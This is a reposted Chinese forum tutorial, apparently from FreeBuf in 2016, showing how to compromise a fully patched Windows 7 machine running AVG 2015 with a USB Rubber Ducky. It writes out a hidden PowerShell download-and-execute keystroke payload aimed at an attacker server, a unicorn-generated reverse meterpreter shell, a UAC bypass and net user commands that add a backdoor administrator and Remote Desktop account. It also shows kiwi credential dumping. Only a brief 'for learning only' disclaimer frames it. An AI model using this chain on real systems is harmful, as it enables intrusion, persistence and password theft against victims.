搜索

[10150] 2016-05-30_如何用橡皮鸭绕过杀软、渗透Win7？

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-18
2016-05-30_如何用橡皮鸭绕过杀软、渗透Win7？ 如 何 用 " 橡 皮 鸭 " 绕 过 杀 软 、 渗 透 W i n   7 ？ s p h i n x   F r e e B u f   2 0 1 6 - 0 5 - 3 0 本 文 将 演 示 如 何 使 用 U S B   R u b b e r   D u c k y 和 u n i c o r n 攻 击 一 台 运 行 A V G 2 0 1 5 杀 毒 软 件 并 且 补 丁 全 部 打 上 的 W i n d o w s   7 电 脑 。 本 教 程 仅 供 学 习 ， 请 勿 用 作 非 法 用 途 。 准 备 准 备 进 行 实 验 所 要 做 的 准 备 ： W i n d o w s   7   ( 受 害 者 主 机 ) K a l i   L i n u x   2 . 0   ( 攻 击 者 主 机 ) U S B   R u b b e r   D u c k y   硬 件 注 意 ： W i n d o w s   7   和   K a l i 系 统 可 以 是 虚 拟 运 行 的 也 可 以 是 实 体 运 行 的 ， 但 是 我 们 建 议 在 专 门 的 实 体 硬 件 上 运 行 W i n d o w s 7 以 防 止 U S B R u b b e r   D u c k y 模 拟 键 盘 H I D 的 时 候 虚 拟 化 技 术 将 动 态 更 改 U S B 分 配 。 获 得 获 得 p a y l o a d 1 .   从 H a k s h o p   购 买 U S B   R u b b e r   D u c k y   D e l u x e
2 .   访 问   U S B   R u b b e r   D u c k y 的 W i k i   使 用 其 中 的 模 板 p a y l o a d
3 .   复 制   “ P a y l o a d   –   P o w e r s h e l l   W g e t   +   E x e c u t e ”   G U I   r   D E L A Y   1 0 0 S T R I N G   p o w e r s h e l l   - w i n d o w s t y l e   h i d d e n   ( n e w - o b j e c t S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ‘ h t t p : / / e x a m p l e . c o m / b o b . o l d ’ , ’ % T E M P % b o b . e x e ’ ) ; S t a r t - P r o c e s s   “ % T E M P % b o b . e x e ”   4 .   将 默 认 的 U R L “ h t t p : / / e x a m p l e . c o m ” 改 成 你 自 己 的 域 名 或 I P 地 址 。 我 的 设 定 是 ： G U I r   D E L A Y   1 0 0   S T R I N G   p o w e r s h e l l   - w i n d o w s t y l e   h i d d e n   ( n e w - o b j e c t S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ‘ h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 1 5 / w i n / a n y t h i n g . t x t ’ , ’ % T E M P % d r o p . c m d ’ ) ; S t a r t - P r o c e s s “ % T E M P % d r o p . c m d ”   ， 然 后 按 回 车 5 .   把 你 修 改 过 的 代 码 粘 贴 到 在 线 D u c k T o o l k i t 编 码 器 中 ， 选 择 键 盘 样 式 ， 然 后 点 击 生 成 脚 本 。 6 .   下 载 “ i n j e c t . b i n ”   和   “ i n j e c t . t x t ”   文 件 。 把 “ i n j e c t . b i n ”   复 制 到 R u b b e r   D u c k y 中 的 S D 卡 中 ， “ i n j e c t . t x t ”   供 参 考 之 用
7 . 把 m i c r o   S D 卡 插 入 m i c r o   S D   U S B 适 配 器 （ 不 是 R u b b y D u c k y ） ， 然 后 插 入 K a l i 电 脑 。 8 . 将 “ i n j e c t . b i n ” 文 件 从 你 的 下 载 文 件 夹 复 制 到 M i c r o   S D 卡 根 目 录 9 . 接 下 来 我 们 用 u n i c o r n 生 成 p a y l o a d 。 从 G i t H u b 下 载 u n i c o r n . p y 。 U n i c o r n 是 一 款 使 用 P o w e r S h e l l 降 级 攻 击 的 简 单 工 具 ， 它 会 把 s h e l l c o d e 直 接 注 入 到 内 存 中 。 这 个 项 目 给 予 M a t t h e w G r a e b e r 的 P o w e r s h e l l 攻 击 和 D a v i d K e n n e d y   ( T r u s t e d S e c )   和 J o s h   K e l l y 在 D e f c o n 1 8 上 展 示 的 p o w e r s h e l l 绕 过 技 巧 。 1 0 . 在 浏 览 器 菜 单 点 击 “ 文 件 ” - “ 保 存 为 ” 选 项 ， 将 页 面 保 存 到 你 的 文 件 系 统 ， 我 把 它 放 在 了 桌 面 上 的 一 个 叫 U S B _ R D 的 文 件 夹 里 。
1 1 . 用 “ u n i c o r n . p y ” 生 成 反 向 h t t p s   m e t e r p r e t e r   p a y l o a d 。 待 会 你 要 运 行 p y t h o n u n i c o r n . p y   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s   1 9 2 . 1 6 8 . 1 . 1 1 5   8 4 4 3 ， 记 得 修 改 里 面 的 I P 地 址 和 端 口 。 1 2 .   这 时 两 个 文 件 都 生 成 完 毕 ，   “ p o w e r s h e l l _ a t t a c k . t x t ”   和 “ u n i c o r n . r c ” 。 将 p o w e r s h e l l _ a t t a c k . t x t   命 名 为 第 四 步 中 你 打 算 放 在 服 务 器 上 的 文 件 名 。 我 的 是 “ a n y t h i n g . t x t ” 。 注 意 ： “ u n i c o r n . r c ” 文 件 可 以 被 用 在 m e t a s p l o i t 会 话 中 以 建 立 监 听 器 。   1 3 . 复 制 p a y l o a d 文 件 “ a n y t h i n g . t x t ” 到 你 的 w e b 服 务 器 上 。 我 的 文 件 在 w e b 根 目 录 下 （ 步 骤 4 中 制 定 的 ） 1 4 . 开 启 a p a c h e 2   w e b 服 务 器 ， 然 后 用 t a i l 查 看 日 志 文 件 ， 这 样 就 能 看 到 来 自 W i n d o w s 7 的 请 求 。 注 意 ： t a i l 的 “ - f ”   参 数 能 够 保 证 文 件 实 时 更 新
1 5 .   现 在 我 们 启 动 m e t e r p r e t e r   监 听 器 。 打 开 新 的 终 端 窗 口 ， 进 入 u n i c o r n . r c   文 件 所 在 的 目 录 ， 然 后 启 动 m e t a s p l o i t ：   m s f c o n s o l e   - r u n i c o r n . r c 1 6 . 将 m i c r o   S D 卡 从 攻 击 主 机 ( K a l i ) 中 拔 出 ， 然 后 插 入 到 U S B R u b b e r   D u c k y 中 。 打 上 全 部 补 丁 的 W i n d o w s   7   +   A V G   2 0 1 5  
W i n d o w s   7   网 络 信 息 插 入 橡 皮 鸭 插 入 橡 皮 鸭 1 7 .   在 W i n d o w s   7 中 插 入 U S B   R u b b e r   D u c k y   ， 稍 等 片 刻 等 待 主 机 识 别 设 备 并 执 行 代 码 。 注 意 查 看 w e b 服 务 器 日 志 ， 这 是 你 唯 一 能 用 来 判 断 是 否 正 常 工 作 的 东 西 。   重 要 事 项 ： 如 果 你 在 虚 拟 机 内 实 验 ， 在 插 入 U S B   R u b b e r   D u c k y 之 前 你 得 确 保 W i n d o w s 7 主 机 处 于 活 跃 状 态 ， 以 防 你 把 橡 皮 鸭 插 到 别 的 主 机 上 。 1 8 .   如 果 R u b b e r   D u c k y 正 常 运 行 了 ， 你 马 上 会 看 到 它 在 下 载 你 服 务 器 上 的 文 件 ， 然 后 你 还 应 该 看 到 有 个 m e t e r p r e t e r 会 话 打 开 了
1 9 .   接 着 我 们 到 m e t e r p r e t e r   会 话 中 看 看 我 们 能 干 什 么 。 你 可 以 运 行 s y s i n f o   、 i p c o n f i g 查 看 主 机 信 息 。 s e s s i o n s   - i   1 U A C 绕 过 绕 过 2 0 . 由 于 U A C 的 关 系 ， 目 前 为 止 ， 我 们 还 没 有 系 统 权 限 2 1 .   我 们 看 看 能 不 能 用 别 的 模 块 绕 过 U A C ， 经 过 几 番 实 验 后 ， 我 们 发 现 b y p a s s u a c _ v b s 可 以 用 来 绕 过 。
2 2 .   设 置 e x p l o i t ， 然 后 设 置 其 他 p a y l o a d 返 回 你 一 个 有 权 限 的 s h e l l 。 这 次 我 们 使 用 标 准 的 反 向 t c p 因 为 创 建 其 他 r e v e r s e _ h t t p s 通 道 好 像 有 问 题 。 2 3 .   执 行 这 个 e x p l o i t ， 然 后 等 待 建 立 第 二 个 没 有 U A C 限 制 的 会 话
2 4 .   我 们 看 看 能 不 能 获 取 权 限 2 5 .   成 了 ！ 接 下 来 我 们 创 建 一 个 管 理 员 帐 号   ( h a x t o r D a M a n )   把 它 提 升 到 管 理 员 组 ， 并 且 成 为 远 程 桌 面 用 户 。 n e t   u s e r   h a x t o r D a M a n h a x @ P a s s 5 0   / a d d   n e t   l o c a l g r o u p   “ A d m i n i s t r a t o r s ”   h a x t o r D a M a n   / a d d   n e t   l o c a l g r o u p “ R e m o t e   D e s k t o p U s e r s ”   h a x t o r D a M a n   / 2 6 .   我 们 现 在 可 以 到 W i n d o w s 7 机 器 上 看 看 用 户 有 没 有 创 建 成 功 2 7 .   接 下 来 我 们 看 看 能 否 用 k i w i 获 取 明 文 密 码 ： l o a d   k i w i   m e t e r p r e t e r >   c r e d s _ a l l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理